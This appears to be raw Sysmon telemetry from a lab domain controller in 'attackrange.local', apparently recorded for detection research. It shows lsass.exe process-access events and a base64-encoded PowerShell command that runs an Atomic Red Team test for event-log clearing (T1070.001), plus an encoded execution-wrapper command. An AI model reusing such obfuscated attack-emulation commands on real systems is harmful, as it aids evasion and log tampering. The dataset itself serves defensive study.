09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004424Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004423Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004422Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.109{A5F018FF-2921-5F80-E300-000000007F01}13204672C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(00007FFAA8E08890) 154100x80000000000000004421Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:58.121{A5F018FF-2922-5F80-E700-000000007F01}4988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEMAbABlAGEAbgB1AHAAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2921-5F80-E300-000000007F01}1320C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000004530Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.500{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004529Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.500{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004528Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.500{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004527Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.500{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004526Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.500{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004525Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.500{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004524Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.281{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004523Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.281{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004522Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.234{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_13gfcluf.fqb.ps12020-10-09 09:10:59.234 10341000x80000000000000004521Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.234{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004520Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004519Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-2922-5F80-E700-000000007F01}49884976C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2923-5F80-ED00-000000007F01}4948C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1f3fffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3364bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3a5c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b42a7|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b452d|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b3ed3|UNKNOWN(00007FFAA913B5E3) 10341000x80000000000000004518Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004517Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004516Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004515Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004514Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004513Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004512Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:59.203{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004511Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 